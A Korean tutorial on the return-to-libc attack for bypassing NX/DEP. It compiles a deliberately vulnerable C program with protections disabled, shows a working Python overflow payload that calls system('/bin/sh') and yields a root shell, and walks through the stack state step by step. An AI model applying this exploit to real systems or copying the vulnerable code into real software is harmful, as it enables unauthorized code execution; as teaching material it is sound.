RTL은 NX-bit 혹은 DEP를 우회할 수 있는 공격 기법으로 ROP(Return Oriented Programming) 공격 기법의 기본이 되는 공격 기법 입니다. 해당 공격 기법을 이용해서 메모리에 적재되어있는 공유 라이브러리를 이용해 코드상에 존재하지 않는 함수들을 호출할 수 있습니다.
실습은 Ubuntu 18.04 에서 진행되며, 간단한 코드를 이용해 RTL 공격 기법을 직접 수행하면서 원리에 대해 알아봅니다.
ASLR 비활성화
우선 실습에 앞서, 아래 명령어로 ASLR(Address Space Layout Randomization) 을 비활성화 해줍니다.
ASLR이 적용된 상태에서는 libc에서 구한 함수의 주소가 변경되기 때문에 실습을 진행할 수 없습니다.
$ sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
ASLR disabled
프로그램 작성 및 컴파일
RTL 실습을 위한 코드를 작성해 줍니다.
#rtl.c
#include <stdio.h>
int main() {
char buf[100]; // 100byte 크기의 buf 선언
read(0, buf, 256); // buffer overflow 발생!
return 0;
}
프로그램 작성 후 아래 명령어로 각종 메모리 보호기법을 해제하여 컴파일 해줍니다.
기본값으로 컴파일 할 경우 canary, pie 등이 적용되어 stack byte의 경계가 달라져서 “seg fault” 에러가 발생 합니다.
$ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fno-pie -no-pie -o rtl rtl.c
compile시 출력되는 에러는 read 함수 대신 fread함수의 사용을 권고하는 에러이므로 무시하셔도 됩니다.
각 옵션들의 의미는 아래와 같습니다.
-m32
: 32bit로 컴파일 합니다. 각 함수의 인자를 저장할 때 32bit는 stack에 push 하고, 64bit는 eax, edi, esi 등의 레지스터에 저장하는 차이가 있습니다.-fno-stack-protector
: stack canary를 비활성화 합니다.-mpreferred-stack-boundary=2
: 스택 포인터를 4byte 단위로 정렬합니다.-fno-pie
,-no-pie
: pie를 비활성화 합니다. 해당 옵션 적용 안할시 “seg fault” 에러가 발생합니다.
checksec
명령어를 사용하면 바이너리에 어떤 보호기법이 걸려있는지 확인 할 수 있습니다.
$ checksec --file rtl
checksec
RTL 실습
gdb를 이용해서 main 함수를 disassemble 합니다.
gef➤ disas main
Dump of assembler code for function main:
0x08048426 <+0>: push ebp
0x08048427 <+1>: mov ebp,esp
0x08048429 <+3>: sub esp,0x64
=> 0x0804842c <+6>: push 0x100
0x08048431 <+11>: lea eax,[ebp-0x64]
0x08048434 <+14>: push eax
0x08048435 <+15>: push 0x0
0x08048437 <+17>: call 0x80482e0 <read@plt>
0x0804843c <+22>: add esp,0xc
0x0804843f <+25>: mov eax,0x0
0x08048444 <+30>: leave
0x08048445 <+31>: ret
End of assembler dump.
*main+6 에서부터 차례대로 256(0x100), buf의 시작주소,0 을 push 하고 read를 호출합니다.
$ebp-0x64 위치에서부터 256byte를 입력할 수 있기때문에 stcak buffer overflow가 발생합니다.
system 함수를 호출하고 “/bin/sh”를 인자로 넣어야 하기 때문에 각각의 주소를 찾아줍니다.
gef➤ p system
$2 = {int (const char *)} 0xf7e263d0 <__libc_system>
gef➤ search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/i386-linux-gnu/libc-2.27.so'(0xf7de9000-0xf7fbe000), permission=r-x
0xf7f671db - 0xf7f671e2 → "/bin/sh"
gef➤
search address 참고로 “/bin/sh” 문자열은 libc-2.27.so 공유라이브러리 내부에 이미 존재하기 때문에 따로 삽입할 필요가 없습니다. 찾은 주소는 아래와 같습니다.
- system 함수의 주소:
0xf7e263d0
- “/bin/sh” 문자열 주소:
0xf7f671db
gdb상에서 프로그램 실행시 Python을 이용해 인자를 넣어줍니다.
gef➤ r < <(python -c 'print "A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"')
이후 read함수를 call 하면 stack의 $ebp-0x64 위치에 해당 값을 삽입하게 되고, $ebp 기준 4 word를 출력해보면 아래와 같이 세팅됩니다.
gef➤ x/4wx $ebp
0xffffd568: 0x41414141 0xf7e263d0 0x41414141 0xf7f671db
ebp data
return address를 system 함수의 주소값, system 함수의 인자로 들어갈 $ebp-8 영역에 “/bin/sh” 문자를 넣게 되는것입니다.
해당 페이로드를 적용하여 바이너리를 실행해보면 “/bin/sh”가 실행되는 것을 확인할 수 있습니다.
$ (python -c 'print "A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"';cat) | ./rtl
id
uid=0(root) gid=0(root) groups=0(root)
exploit success
RTL 동작과정
위에서 수행한 과정들을 Stack을 구상하여 RTL 공격이 어떻게 수행 되는지 파악해 보겠습니다.
read 함수를 호출하기 전의 stack 입니다.
0x00000000
| buf (100byte) | <= $esp
| SFP (4byte) | <= $ebp
| RET (4byte) |
| dummy (4byte) |
| dummy (4byte) |
0xFFFFFFFF
1. main -> call 0x80482e0 <read@plt>
"A"*104 + "\xd0\x63\xe2\xf7" + "A"*4 + "\xdb\x71\xf6\xf7"'
buf와 SFP를 임의의 값으로 덮어씌우고 return address를 system()으로 변조합니다.
이후 4byte dummy를 넣고 “/bin/sh” 문자열의 주소를 삽입합니다.
0x00000000
| AAA... (100byte) | <= $esp
| AAAA (4byte) | <= $ebp
| system() (4byte) |
| AAAA (4byte) |
| "/bin/sh" (4byte) |
0xFFFFFFFF
2. main() -> leave (mov esp, ebp + pop ebp)
leave가 실행되고 $ebp는 dummy 주소로 가게됩니다.
- mov esp, ebp
0x00000000
| AAA... (100byte) |
| AAAA (4byte) | <= $ebp, $esp
| system() (4byte) |
| AAAA (4byte) |
| "/bin/sh" (4byte) |
0xFFFFFFFF
- pop ebp
$ebp = ???
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| system() (4byte) | <= esp
| AAAA (4byte) |
| "/bin/sh" (4byte) |
0xFFFFFFFF
3. main() -> ret (pop eip, jmp eip)
ret이 실행되고 eip가 system 함수로 이동됩니다.
$ebp = ???
$eip = system()
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| system() (4byte) |
| AAAA (4byte) | <= $esp
| "/bin/sh" (4byte) |
0xFFFFFFFF
4. system() -> push ebp + mov ebp, esp
system 함수에서의 프롤로그가 시작됩니다.
ebp가 적재되면서 main 함수의 return address는 system 함수의 SFP가 되고, “/bin/sh” 주소값 하위의 dummy 4byte는 system 함수의 return addreses가 됩니다.
- push ebp
$ebp -> ???
$eip -> system()
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| SFP(???) (4byte) | <= $esp
| RET(AAAA) (4byte) |
| "/bin/sh" (4byte) |
0xFFFFFFFF
- mov ebp, esp
$eip = system()
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| SFP(???) (4byte) | <= $ebp, $esp
| RET(AAAA) (4byte) |
| "/bin/sh" (4byte) |
0xFFFFFFFF
최종적으로, system 함수는 return address + 4byte 떨어진 위치에 존재하는 “/bin/sh”를 인자로 갖고 “/bin/sh”를 실행합니다.
5. system() -> leave + ret
system함수의 에필로그 과정에서, RTL Chaining을 통해 “/bin/sh” 문자열 시작주소를 넣기전 dummy 4byte에 함수의 주소를 넣어, 여러개의 호출을 할 수 있습니다.
여기선 /bin/sh의 실행이 목적이기 때문에 dummy 4byte를 넣습니다.
- leave
$ebp = ???
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| SFP(???) (4byte) |
| RET(AAAA) (4byte) | <= $esp
| "/bin/sh" (4byte) |
0xFFFFFFFF
- ret
$ebp = ???
$eip = ???
0x00000000
| AAA... (100byte) |
| AAAA (4byte) |
| SFP(???) (4byte) |
| RET(AAAA) (4byte) |
| "/bin/sh" (4byte) | <= $esp
0xFFFFFFFF